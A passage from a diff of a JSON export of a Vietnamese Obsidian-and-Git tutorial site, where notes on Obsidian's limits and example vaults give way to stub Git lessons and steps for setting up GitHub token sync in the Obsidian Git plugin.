"2023-06-30T05:37:00.000Z", + "Ngày tạo": "2023-05-26T07:51:00.000Z", "Ngày cập nhật": "2023-10-06T09:09:00.000Z", "id": "81" }, { - "Tiêu đề": "Obsidian không mạnh về quản lý tác vụ", - "URL": "https://obsidian.quảcầu.cc/⚔️ Hướng dẫn Obsidian và Git/💎 Giới thiệu về Obsidian/Mô tả về Obsidian/Điểm yếu của Obsidian/Obsidian không mạnh về quản lý tác vụ", + "Tiêu đề": "4 Du hành thời gian với Git", + "URL": "https://obsidian.quảcầu.cc/⚔️ Hướng dẫn Obsidian và Git/4 Du hành thời gian với Git", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Sự mạnh mẽ của cộng đồng Obsidian và những triết lý của nó đã thắp lên một ngọn lửa đầy phấn khởi trong những người muốn tìm ra được một công cụ giúp quản lý tất cả những công việc trong cuộc sống của họ. Họ hiểu rất rõ rằng [[Quản lý công việc và quản lý kiến thức không thể tách rời nhau]], và họ trông đợi rằng rồi cũng sẽ có ai đó viết ra được một cái plugin quản lý công việc đáp ứng được những nhu cầu của họ, hy vọng rằng những khao khát có một nơi chứa tất cả trong một rồi cũng sẽ được giải quyết. Nhưng dù có uống bao nhiêu tin tức thì họ vẫn thấy mình còn khát. Plugin thì cứ mọc như nấm sau mưa, nhưng cái thứ duy nhất họ cần thì vẫn tăm hơi biệt tích. Càng chờ càng chán, nhưng họ cũng không sao từ bỏ hy vọng được, vì không hiểu vì lẽ gì mà một cộng đồng mạnh mẽ đến vậy lại chẳng có người có cùng vấn đề với mình. Obsidian đã tạo ra một bất hòa nhận thức kinh niên trong người họ. \n\nCòn những hướng đi nào mà họ chưa vét cạn? AI? Knowledge graph? Tại sao không có ai đó viết một [[Fibery]] mà cũng lưu dữ liệu tại chỗ và ở định dạng đơn giản nhất như cách mà Obsidian đang làm? [[A problem well stated is half solved]]. Nhưng họ lại không dư dả thời gian để nghiên cứu vấn đề một cách rốt ráo, dù rất có thể đáp án có sẵn hết rồi.\n\nNguồn:: [[Tự ngẫm nghĩ, trải nghiệm]]\n\nCâu hỏi:: Tại sao plaintext lại không phù hợp cho quản lý công việc/tạo cấu trúc phân cấp? Các doanh nghiệp sử dụng knowledge graph xây dựng ERP của họ thế nào?\nCâu hỏi:: Có thể sử dụng kèm Obsidian với một RDBMS được không?\nCâu hỏi:: Chẳng lẽ không có một gói Python nào đọc các tập tin markdown rồi chuyển sang dạng cơ sở dữ liệu? Networkx có phải là như vậy không? Nếu networkx làm được thì sao không có ai làm hết?\n\nTLDR:: [[Cộng đồng Obsidian rất mạnh]], nhưng [[Obsidian không mạnh về quản lý tác vụ]], vì [[Việc quản lý công việc thường cần một cấu trúc]] và [[Obsidian khó tạo liên kết hai chiều được|liên kết hai chiều]], trong khi [[Obsidian lưu dữ liệu ở định dạng đơn giản]]. Việc này tạo ra bất hoà nhận thức ở người dùng về một công cụ tất cả trong một. Dù quả thật là [[Bất hoà nhận thức giúp chúng ta hiểu sâu sắc hơn]], thì bế tắc vẫn cứ là bế tắc. Cũng lưu ý rằng [[Những tác giả của những app quản lý công việc cũng cảm thấy app của họ không thể giúp quản lý công việc một cách hiệu quả được]]\n\nXem thêm:: [[Công việc khai phá và công việc khai thác]]\n[[Nhược điểm của Obsidian và Fibery]]\n\n[How many of you gave up on Task Management via Obsidian? : r/ObsidianMD](https://www.reddit.com/r/ObsidianMD/comments/1dha073/how_many_of_you_gave_up_on_task_management_via/)\n", + "Toàn bộ nội dung": "# Git là gì?\r\n![1.1: Introduction - Git and GitHub for Poets - YouTube](https://www.youtube.com/watch?v=BCQHnlnPusY&list=PLRqwX-V7Uu6ZF9C0YMKuns9sLDzK6zoiV) \r\n![](https://www.youtube.com/watch?v=mJ-qvsxPHpY) \r\n\r\n![](https://explainxkcd.com/wiki/images/4/4d/git.png)\r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-05-26T07:51:00.000Z", - "Ngày cập nhật": "2024-08-24T05:06:00.000Z", + "Ngày cập nhật": "2023-10-06T09:09:00.000Z", "id": "82" }, { - "Tiêu đề": "Obsidian không sử dụng dữ liệu dạng bảng", - "URL": "https://obsidian.quảcầu.cc/⚔️ Hướng dẫn Obsidian và Git/💎 Giới thiệu về Obsidian/Mô tả về Obsidian/Điểm yếu của Obsidian/Obsidian không sử dụng dữ liệu dạng bảng", + "Tiêu đề": "4.1 Khám phá cây lịch sử", + "URL": "https://obsidian.quảcầu.cc/⚔️ Hướng dẫn Obsidian và Git/4 Du hành thời gian với Git/4.1 Khám phá cây lịch sử", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Lý do:: [[Obsidian lưu dữ liệu ở định dạng đơn giản]]\r\n", + "Toàn bộ nội dung": "Hình ảnh cây lịch sử của vault này\n![](https://i.imgur.com/qUIjny5.png)\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-06-30T05:37:00.000Z", - "Ngày cập nhật": "2023-10-06T09:09:00.000Z", + "Ngày tạo": "2023-05-26T07:51:00.000Z", + "Ngày cập nhật": "2024-08-17T03:59:00.000Z", "id": "83" }, { - "Tiêu đề": "Việc hợp tác qua mạng trên Obsidian tốt nhất là qua Git", - "URL": "https://obsidian.quảcầu.cc/⚔️ Hướng dẫn Obsidian và Git/💎 Giới thiệu về Obsidian/Mô tả về Obsidian/Điểm yếu của Obsidian/Việc hợp tác qua mạng trên Obsidian tốt nhất là qua Git", + "Tiêu đề": "4.2 Cài đặt Git và GitKraken", + "URL": "https://obsidian.quảcầu.cc/⚔️ Hướng dẫn Obsidian và Git/4 Du hành thời gian với Git/4.2 Cài đặt Git và GitKraken", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "", + "Toàn bộ nội dung": "Mở GitKraken\r\n> [!Tip] PowerShell\r\n> `winget install git`\r\n\r\n# [[5.2 Tải mới toàn bộ kho dữ liệu (clone)]]➡️\r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", @@ -8373,14 +8372,14 @@ "id": "84" }, { - "Tiêu đề": "Đơn vị nhỏ nhất của Obsidian là file, không phải block", - "URL": "https://obsidian.quảcầu.cc/⚔️ Hướng dẫn Obsidian và Git/💎 Giới thiệu về Obsidian/Mô tả về Obsidian/Đơn vị nhỏ nhất của Obsidian là file, không phải block", + "Tiêu đề": "4.3 Lưu dữ liệu mới (commit)", + "URL": "https://obsidian.quảcầu.cc/⚔️ Hướng dẫn Obsidian và Git/4 Du hành thời gian với Git/4.3 Lưu dữ liệu mới (commit)", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Ngược lại, [[Notion]], [[Fibery]] dùng block. [[Giao diện block cho phép người dùng linh hoạt hơn mà vẫn giữ được sự cấu trúc]]\r\n", + "Toàn bộ nội dung": "Sau khi commit xong bạn sẽ di chuyển lên trên cây lịch sử \r\n\r\n\r\n\r\n> [!Tip] Terminal\r\n> git pull\r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", @@ -8389,94 +8388,94 @@ "id": "85" }, { - "Tiêu đề": "Chơi game", - "URL": "https://obsidian.quảcầu.cc/⚔️ Hướng dẫn Obsidian và Git/💎 Giới thiệu về Obsidian/Theo mục đích xây dựng vault/Chơi game", + "Tiêu đề": "4.4 Mở dữ liệu cũ (checkout)", + "URL": "https://obsidian.quảcầu.cc/⚔️ Hướng dẫn Obsidian và Git/4 Du hành thời gian với Git/4.4 Mở dữ liệu cũ (checkout)", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "## [Obsidian TTRPG Tutorials](https://obsidianttrpgtutorials.com/Obsidian+TTRPG+Tutorials/Obsidian+TTRPG+Tutorials \"Obsidian TTRPG Tutorials - Obsidian TTRPG Tutorials\")\n![[DnD.webp]]\n![](https://raw.githubusercontent.com/SlRvb/Obsidian--ITS-Theme/main/Images/Theme-DnD-WOTC--Lightmode.png)\n\n## [Living World of Verum](https://corvanis.wiki/Hub \"Hub - Living World of Verum\")\n", + "Toàn bộ nội dung": "%%\r\nTrạng thái:: Chưa hoàn thành\r\n%%\r\n# Bài tiếp theo : [[4.5 Tạo nhánh (branch)]] ➡️\r\n\r\n> [!tip] Mẹo\r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-05-26T07:51:00.000Z", - "Ngày cập nhật": "2024-08-20T09:32:00.000Z", + "Ngày cập nhật": "2023-10-06T09:09:00.000Z", "id": "86" }, { - "Tiêu đề": "Kho dữ liệu cá nhân", - "URL": "https://obsidian.quảcầu.cc/⚔️ Hướng dẫn Obsidian và Git/💎 Giới thiệu về Obsidian/Theo mục đích xây dựng vault/Kho dữ liệu cá nhân", + "Tiêu đề": "4.5 Tạo nhánh (branch)", + "URL": "https://obsidian.quảcầu.cc/⚔️ Hướng dẫn Obsidian và Git/4 Du hành thời gian với Git/4.5 Tạo nhánh (branch)", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "- [SlRvb's MediaDB Setup](https://forum.obsidian.md/t/slrvbs-mediadb-setup/23227): quản lý những sản phẩm văn hoá đại chúng như nhạc, phim, tiểu thuyết mà mình nghe, xem, đọc", + "Toàn bộ nội dung": "%%\r\nTrạng thái:: Chưa hoàn thành\r\n%%\r\n# Bài tiếp theo : [[4.6 Chuyển nhánh (switch)]] ➡️\r\n\r\n> [!tip] Mẹo\r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2024-08-20T09:32:00.000Z", - "Ngày cập nhật": "2024-08-20T09:32:00.000Z", + "Ngày tạo": "2023-05-26T07:51:00.000Z", + "Ngày cập nhật": "2023-10-06T09:09:00.000Z", "id": "87" }, { - "Tiêu đề": "Kho tài nguyên cộng đồng", - "URL": "https://obsidian.quảcầu.cc/⚔️ Hướng dẫn Obsidian và Git/💎 Giới thiệu về Obsidian/Theo mục đích xây dựng vault/Kho tài nguyên cộng đồng", + "Tiêu đề": "4.6 Chuyển nhánh (switch)", + "URL": "https://obsidian.quảcầu.cc/⚔️ Hướng dẫn Obsidian và Git/4 Du hành thời gian với Git/4.6 Chuyển nhánh (switch)", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "- [Obsidian Hub](https://publish.obsidian.md/hub/00+-+Start+here): nơi tổng hợp các showcase, template, guide, workflow, concept, toolbox, theme, plugin, etc\n- [Data Engineering Wiki](https://dataengineering.wiki/Index)\n- [The Integral Guide to Well-Being](https://integralguide.com/⭐️+Start+Here/About): hãy đọc bức tường chữ dưới đây:\n> When I was [diagnosed](https://integralguide.com/50+Permanent+Notes/%F0%9F%92%A1+Terms/Diagnoses/Diagnoses) with [Complex PTSD](https://integralguide.com/50+Permanent+Notes/%F0%9F%92%A1+Terms/Diagnoses/%F0%9F%92%A1+Complex+PTSD), [Anxiety](https://integralguide.com/50+Permanent+Notes/%F0%9F%92%A1+Terms/Diagnoses/%F0%9F%92%A1+Anxiety), [Depression](https://integralguide.com/50+Permanent+Notes/%F0%9F%92%A1+Terms/Diagnoses/%F0%9F%92%A1+Depression), [ADHD](https://integralguide.com/50+Permanent+Notes/%F0%9F%92%A1+Terms/Diagnoses/%F0%9F%92%A1+ADHD), and [OCD](https://integralguide.com/50+Permanent+Notes/%F0%9F%92%A1+Terms/Diagnoses/%F0%9F%A7%AF+Obsessive-Compulsive+Disorder) I wanted clarity, I wanted direction, I wanted tools, and I wanted people to stop trying to sell healing to me. \n> \n> I was dismayed and angry that resources were difficult to find, redundant, compartmentalized, antiquated, contradictory, locked behind a paywall, highly triggering, overlong, full of word-salad, or some combination thereof. \n> \n> I was triggered and re-traumatized by \"self-help\" books full of trauma stories, YouTube videos and articles that took 25 minutes to explain what could take 5, and the Instagram slot-machine full of contradictory information pulling me back and forth. And if they weren’t triggering, they either monetized my attention or ended with a sales pitch to get the \"real secrets.\" There was little sincerity or lived experience in trauma recovery and I felt exploited, helpless, and alone.\n\n", + "Toàn bộ nội dung": "%%\r\nTrạng thái:: Chưa hoàn thành\r\n%%\r\n# Bài tiếp theo : [[4.7 Nhập nhánh (merge)]] ➡️\r\n\r\n> [!tip] Mẹo\r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2024-08-20T09:30:00.000Z", - "Ngày cập nhật": "2024-08-20T09:32:00.000Z", + "Ngày tạo": "2023-05-26T07:51:00.000Z", + "Ngày cập nhật": "2023-10-06T09:09:00.000Z", "id": "88" }, { - "Tiêu đề": "Nghiên cứu", - "URL": "https://obsidian.quảcầu.cc/⚔️ Hướng dẫn Obsidian và Git/💎 Giới thiệu về Obsidian/Theo mục đích xây dựng vault/Nghiên cứu", + "Tiêu đề": "4.7 Nhập nhánh (merge)", + "URL": "https://obsidian.quảcầu.cc/⚔️ Hướng dẫn Obsidian và Git/4 Du hành thời gian với Git/4.7 Nhập nhánh (merge)", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "## [Linking Your Thinking](https://notes.linkingyourthinking.com) \n\n## [Qualitative Analysis Environment](https://axle.design/an-integrated-qualitative-analysis-environment-with-obsidian) \nMaxQDA, NVivo, Atlas.ti, and a variety of other apps are designed to help researchers analyze qualitative data. These apps are doubtlessly powerful, but they all offered too steep of a learning curve when I was tasked with a small analysis project in 2020.\n\nnhững phần nghiên cứu định tính MaxQDA, NVivo, Atlas.ti tuy mạnh nhưng lại đắt và khó học. Cái vault này thì dành cho những dự án nhỏ hơn. Tác giả theo grounded field theory\n\n## [The Academic Knowledge Management (AKM) system that 10x’d my research productivity | Chris Lovejoy](https://www.chrislovejoy.me/akm)\n\nXem thêm:: [[Nhân văn số|Các dự án, công cụ, tài nguyên cho nhân văn số]]\n\n", + "Toàn bộ nội dung": "%%\r\nTrạng thái:: Chưa hoàn thành\r\n%%\r\n# Bài tiếp theo : [[]] ➡️\r\n\r\n> [!tip] Mẹo\r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-05-29T11:39:00.000Z", - "Ngày cập nhật": "2024-08-20T09:31:00.000Z", + "Ngày tạo": "2023-05-26T07:51:00.000Z", + "Ngày cập nhật": "2023-10-06T09:09:00.000Z", "id": "89" }, { - "Tiêu đề": "Quản lý cuộc sống cá nhân", - "URL": "https://obsidian.quảcầu.cc/⚔️ Hướng dẫn Obsidian và Git/💎 Giới thiệu về Obsidian/Theo mục đích xây dựng vault/Quản lý cuộc sống cá nhân", + "Tiêu đề": "Reset", + "URL": "https://obsidian.quảcầu.cc/⚔️ Hướng dẫn Obsidian và Git/4 Du hành thời gian với Git/➕ Nhiệm vụ bổ trợ/Reset", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "# The Mirage Island \n\n# [The Integral Guide to Well-Being](https://integralguide.com/%E2%AD%90%EF%B8%8F+Start+Here/About)\nHướng dẫn tích hợp là hướng dẫn thực địa của bạn chọn riêng mà tôi viết để hỗ trợ phục hồi chấn thương cá nhân và phát triển bản thân và cảm thấy được trao quyền và được trang bị tốt hơn để có một cuộc sống phong phú.\n\nKhi tôi thấy mình bị suy nhược với các triệu chứng của PTSD phức tạp, lo lắng, trầm cảm, ADHD và OCD tôi muốn rõ ràng, tôi muốn định hướng, tôi muốn các công cụ và tôi muốn mọi người ngừng cố gắng bán chữa bệnh cho tôi.\n\nTôi đã mất tinh thần và tức giận rằng các tài nguyên rất khó tìm, dư thừa, ngăn cách, cổ xưa, mâu thuẫn, bị khóa sau một cái tường tiền chế, kích hoạt cao, quá mức, đầy đủ các từ, hoặc một số kết hợp của chúng.\n\nTôi đã được kích hoạt và chiến thắng lại bởi những cuốn sách \"tự giúp đỡ\" đầy những câu chuyện chấn thương và ngôn ngữ phi nhân hóa, các video và bài viết trên YouTube mất 25 phút để giải thích những gì có thể mất 5 và máy đánh bạc trên Instagram đầy đủ thông tin trái ngược với tôi Và ra. Và nếu họ kích hoạt, họ đã kiếm tiền từ sự chú ý của tôi hoặc kết thúc bằng một sân bán hàng để có được \"bí mật thực sự\". Có rất ít sự chân thành hoặc trải nghiệm sống trong phục hồi chấn thương và tôi cảm thấy bị bóc lột, bất lực và một mình.\n\nThông thường, một người mà một người gặp phải càng có khả năng kiếm được nhiều tiền mà họ có thể có, họ càng cần nhiều sự giúp đỡ, và càng tốn kém hơn. Làm thế nào tôi có thể được mong đợi có thời gian và tiền bạc cho cả điều trị và tự giáo dục-đặc biệt nếu điều đó có nghĩa là đánh bạc với những gì tôi có và sàng lọc để tìm những gì thực sự sẽ giúp ích?\n\nNhưng tôi đã tìm thấy mọi thứ, và sau đó nhận thấy nhiều người trong số họ và các nhà phát triển của họ đang cảm thấy con voi, khăng khăng quan điểm của họ là sự thật vốn-T và giải pháp duy nhất tôi cần. Nhưng tôi là một nhà tư tưởng hệ thống - tôi muốn nhìn thấy toàn bộ con voi. Tôi nghĩ rằng họ gọn gàng.\n\nVì vậy, tôi đã ghi chú trong obsidian. Điều này đã giải quyết một số vấn đề:\n\n - Tôi có thể tích hợp các tài nguyên tuyến tính vào một web phi tuyến tính và hình thành những hiểu biết mà tôi không bao giờ có.\n - Tôi có thể sử dụng ngôn ngữ nhẹ nhàng hơn và tự dạy mình theo cách mà tôi ước mình được dạy, điều này làm cho việc xem xét những gì tôi học được dễ dàng hơn và cần ít chuẩn độ hơn.\n - Tôi có thể sử dụng ngôn ngữ rõ ràng hơn - bằng cách thống nhất các thuật ngữ khác nhau mà các nguồn của tôi sử dụng để nói về cùng một ý tưởng và phân biệt khi các nguồn sử dụng cùng một thuật ngữ để nói về các ý tưởng khác nhau, tôi có thể tạo ra một \"mô hình meta\" rõ ràng.\n - Tôi có thể nhét những phát hiện của mình vào các liên kết mà tôi có thể đặt bất cứ nơi nào tôi muốn, vì vậy tôi có thể nói điều gì đó một lần và sau đó bối cảnh hóa nó.\n - Tôi có thể cập nhật các ghi chú của mình khi cần thiết, và chúng sẽ tốt hơn và chặt chẽ hơn theo thời gian. Trong khi hầu hết các tài nguyên là tĩnh, ghi chú của tôi là năng động.\n\nKhi các ghi chú của tôi hình thành, tôi nhận ra rằng tôi đã tạo ra tài nguyên tôi cần khi bắt đầu, và tôi tưởng tượng sự nhẹ nhõm mà bản thân tôi sẽ cảm thấy đã tìm thấy nó.\n\nThông qua các diễn đàn và các nhóm hỗ trợ, tôi đã học được rằng có rất nhiều người như tôi, chấn thương đó là phổ biến, nhưng-giữa việc sống trong một xã hội tư bản, thiếu hụt nhà trị liệu và thiếu sự chăm sóc và tài nguyên thông tin chấn thương-cơ sở hạ tầng trị liệu cần thiết để chữa lành chúng ta Tất cả không tồn tại. Tôi biết tôi có thể thay đổi điều đó một mình, nhưng tôi cũng biết rằng không ai xứng đáng cảm thấy lạc lõng và choáng ngợp như tôi có, vì vậy tôi quyết định xuất bản các ghi chú của mình, miễn phí.\nThrough [forums and support groups](https://integralguide.com/50+Permanent+Notes/Supporting+Notes/Support+Groups) I learned that there are many like me, that trauma is common, but — between living in a capitalist society, a therapist shortage, and a lack of trauma-informed care and resources — the therapeutic infrastructure necessary to heal us all does not exist. I know I can’t change that single-handedly, but I also know that nobody deserves to feel as lost and overwhelmed as I have, so I decided to publish my notes, in full, for free.\n# [Linking Your Thinking](https://notes.linkingyourthinking.com)\n", + "Toàn bộ nội dung": "![](https://i.stack.imgur.com/qRAte.jpg) \r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-05-26T07:51:00.000Z", - "Ngày cập nhật": "2024-08-20T09:29:00.000Z", + "Ngày cập nhật": "2023-10-06T09:09:00.000Z", "id": "8A" }, { - "Tiêu đề": "Quản lý dự án", - "URL": "https://obsidian.quảcầu.cc/⚔️ Hướng dẫn Obsidian và Git/💎 Giới thiệu về Obsidian/Theo mục đích xây dựng vault/Quản lý dự án", + "Tiêu đề": "📖 Sử dụng plugin Obsidian Git", + "URL": "https://obsidian.quảcầu.cc/⚔️ Hướng dẫn Obsidian và Git/4 Du hành thời gian với Git/📖 Bài đọc thêm/📖 Sử dụng plugin Obsidian Git", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "# Quả Cầu \r\nQuả Cầu hướng đến việc trở thành một tổ chức không có sự phân cấp và người tham gia không làm vì trách nhiệm, lấy nhu cầu của thành viên (vốn nhiều vô kể và thay đổi liên tục) làm mục tiêu của tổ chức, để họ trở thành những người có kỹ năng đa dạng và tư duy liên ngành, dựa trên triết học của Deleuze và Guattari, khoa học phức hợp, game phiêu lưu nhập vai, nền kinh tế không dùng tiền, và hai phần mềm Obsidian và Git\r\n```button\r\nname Mở vault \"Vùng đất Quả Cầu\"\r\ntype link\r\nAction obsidian://open?vault=Land%20of%20Spheres&file=2%20K%E1%BB%B9%20n%C4%83ng%2C%20th%E1%BB%AD%20th%C3%A1ch%2C%20m%E1%BB%A9c%20%C4%91%E1%BB%99%20th%C3%A0nh%20th%E1%BA%A1o%2F21%20Hi%E1%BB%83u%20Qu%E1%BA%A3%20C%E1%BA%A7u%2FK%E1%BB%B9%20n%C4%83ng%20nh%E1%BB%8F%20h%C6%A1n%2FS%E1%BB%AD%20d%E1%BB%A5ng%20d%E1%BB%AF%20li%E1%BB%87u%20c%E1%BB%A7a%20Qu%E1%BA%A3%20C%E1%BA%A7u%2F%C3%9D%20%C4%91%E1%BB%93%20thi%E1%BA%BFt%20k%E1%BA%BF%20th%C6%B0%20m%E1%BB%A5c\r\ncolor blue\r\n```\r\n^button-ko6t\r\n\r\nCài đặt: https://github.com/QuaCau-TheSphere/LOS-Installer/releases/latest\r\n\r\n# Chương trình dã ngoại\r\nhttps://github.com/QuaCau-TheSphere/Bay-chim-sao-Phuoc-Binh\r\n", + "Toàn bộ nội dung": "# Tạo token trên GitHub\r\n- Vào Settings \r\n![](https://lh4.googleusercontent.com/jfSIEWMiq1XC4ZctO8UZerr6UjfJuewV3XSAT43AnM_3NNplbITWkGFmVNKN-K3j4gpGAarePpCCWxSmxwiIm_ZpF0YkcgmoA1uEiXxqYb_PyxLBVmYrIszFwQkTNn6VgjVINobqE_x0sG0qB0IDMU_cxd3rIwH_FcEYzcRAbthQcyRdGiLUO1W67w)\r\n- Ở cột bên trái kéo xuống dưới cùng, chọn Developer settings \r\n![](https://lh4.googleusercontent.com/Nqd9zpfuU9gI_lex0M69pNocmG9PZ01XhX14Ju704b57fBVUzQRMjxdLlnOwNDVne6bdrr7WihxgtwNli173fHiFknsB7aFvL0hksSOuyF-7x15GgkMXj8-onP2YC9sIM6GgwphboQZH3X6EMZn-895fPQseHfwQpfzvAk0adQ5jhDds6zGM97SDOQ)\r\n- Chọn Personal access token và chọn Generate new token \r\n![](https://lh4.googleusercontent.com/NShV0Qnbj1CV6wShlaGrAKru2H-i4aiIjJCfvHqOOx8BK3R7itxiTZGG-L8e6q20Xn0W-eRVXiLtGyngXQoAPaWTlQSoyH-7eTqSDQMjj_7Aj1INyr7hH3G4lPZ4vTFGVv4cA_umP4XGc24RuikQ75uk2QxfH6T645ZRyd1e26zBfcCHh62rpbUVOw)\r\n- Đặt tên token của mình (VD: 2GROW), bấm chọn repo \r\n![](https://lh4.googleusercontent.com/FarUYTDiIIGwBJbGdDcGlAMzGQ3f1qsiouu2voN9CzZSjIGzSx2VRDaSlWV27-Yywiejf4KNN8Pt3_JaoA6Apws87nWPz6rqsJ34ZG41X-_wMA_deGuCYIDBPxQO6LHs9E0F_RYTBTuSglVKd_tF3JXtCKCWAm7n4vEeNy6E-bar0DGCKg4_Fg46cw)\r\n- Bấm Generate token và copy token này ra một nơi an toàn \r\n![](https://lh4.googleusercontent.com/Wm2-Gxr83I-qxz7yf0hKk9xOrRZfKuYmUIMRomFuITpd4z09NkX--acQ7lfGGA7jklbyySkAW8MJVAXND8CqnrV7HJg3_nFcNBZb_LPHqaDbrK5BTZml0HReJuutYEryB_3QzM0i5lERgUETCUygne3HC0HMKOYgChLprAXQsh8Jx73CYS6pKgrLeg)\r\n\r\n# Thiết lập Obsidian Git \r\n- Vào lại trong Settings, chọn Obsidian Git\r\n- Ở phần Automatic, đổi các số từ 0 thành 0.5![](https://lh3.googleusercontent.com/eTyiJ9UyuSsbADSX2j-OtnOan3jJp_CmeAgz3mWXJvepGVO4qge38cDPjVRHddbZWL3XUFrfv1NPkQPhTaaIuT8ACSg5K3miLILb0OnEi69GMILqwFHrB2en2H0D7f6N5hpyQLhzHXF0PBmcT9pDga2Y9l_ieWgWkZLN419Ox2yLDxDCL68T_iVovg)\r\n- Ở phần Miscellaneous, bật Disable notification \r\n![](https://lh5.googleusercontent.com/yyAE-v0gFvfeDjfLiCxfzbJWicvxizDfLltLEc6lPZn0bssaISOyqAIsIG--fgWEHDy6-x_19hJlG_ztivxZtGdQC7feh1XFlrI3tUKgfIwpoUgfPLxOlHvKocQygJv2N9wr5pp64jZ4oY9dtXoWrAD8Bpdpa9XqZ_3eLSe-S-vf4RUUGFSXzwxiJQ)\r\n- Ở phần Advanced, điền:\r\n- Username GitHub của bạn\r\n- Token bạn đã copy\r\n- Username GitHub của bạn (một lần nữa)\r\n- Email bạn dùng để đăng ký GitHub\r\nVậy là xong. Chúc mừng bạn đã thiết lập đồng bộ hoá thành công 🎉\r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", @@ -8485,88 +8484,88 @@ "id": "8B" }, { - "Tiêu đề": "Quản lý mối quan hệ", - "URL": "https://obsidian.quảcầu.cc/⚔️ Hướng dẫn Obsidian và Git/💎 Giới thiệu về Obsidian/Theo mục đích xây dựng vault/Quản lý mối quan hệ", + "Tiêu đề": "5 Làm việc cùng nhau", + "URL": "https://obsidian.quảcầu.cc/⚔️ Hướng dẫn Obsidian và Git/5 Làm việc cùng nhau", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "| Tính năng →
    Tên gọi ↓ | Thành viên được truy cập | Ngành học sử dụng | \n| ---------------------------- | ------------------------------ | ------------------ |\n| Mạng kết nối nhu cầu | Người lạ | Khoa học phức hợp |\n| Liên minh, mạng lưới đối tác | Các thành viên trong mạng lưới | |\n| CRM | Chỉ có mình biết | Hệ thống thông tin |\n\n\n\nĐây là một vault Obsidian để cộng đồng người dùng có thể đăng ký thông tin cá nhân (bản thân họ có nhu cầu gì và có gì để trao đổi) và tìm đối tượng/đội nhóm để trao đổi. Thứ dùng để trao đổi là nhu cầu cá nhân (học ngoại ngữ, cải thiện kỹ năng, v.v.) hoặc đồ vật, vân vân. \n```button\nname Mở vault\ntype link\naction obsidian://open?vault=Need%20Exchange&file=9%20T%C3%A0i%20li%E1%BB%87u%2FFAQ\ncolor blue\n```\n^button-66k3\n\nChức năng:\n- Từ Facebook chỉ cần click một link là có thể điền nhu cầu của mình \n- Plugin chuyển file từ ERP của mình sang đây và ngược lại\n- Thông báo khi có người có cùng nhu cầu với mình\n", + "Toàn bộ nội dung": "", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-05-26T07:51:00.000Z", - "Ngày cập nhật": "2024-08-20T09:29:00.000Z", + "Ngày cập nhật": "2023-11-27T05:34:00.000Z", "id": "8C" }, { - "Tiêu đề": "Ghi chú trên YouTube", - "URL": "https://obsidian.quảcầu.cc/⚔️ Hướng dẫn Obsidian và Git/💎 Giới thiệu về Obsidian/Theo tính năng của plugin/1. Ghi chú thông tin/Ghi chú trên YouTube", + "Tiêu đề": "5.1 GitHub là gì", + "URL": "https://obsidian.quảcầu.cc/⚔️ Hướng dẫn Obsidian và Git/5 Làm việc cùng nhau/5.1 GitHub là gì", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "\r\n", + "Toàn bộ nội dung": "%%\n#tt/chưa-hoàn-thành\n#file/bài-học\n%%\nWebsite của GitHub sẽ giả vờ như là bạn đang ở trên máy chủ\n# Bài tiếp theo : [[5.2 Tải mới toàn bộ kho dữ liệu (clone)]] ➡️\n\n\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-05-26T07:51:00.000Z", - "Ngày cập nhật": "2023-10-06T09:09:00.000Z", + "Ngày cập nhật": "2024-08-24T13:59:00.000Z", "id": "8D" }, { - "Tiêu đề": "Canvas", - "URL": "https://obsidian.quảcầu.cc/⚔️ Hướng dẫn Obsidian và Git/💎 Giới thiệu về Obsidian/Theo tính năng của plugin/2. Hệ thống hoá thông tin/Canvas", + "Tiêu đề": "5.2 Tải mới toàn bộ kho dữ liệu (clone)", + "URL": "https://obsidian.quảcầu.cc/⚔️ Hướng dẫn Obsidian và Git/5 Làm việc cùng 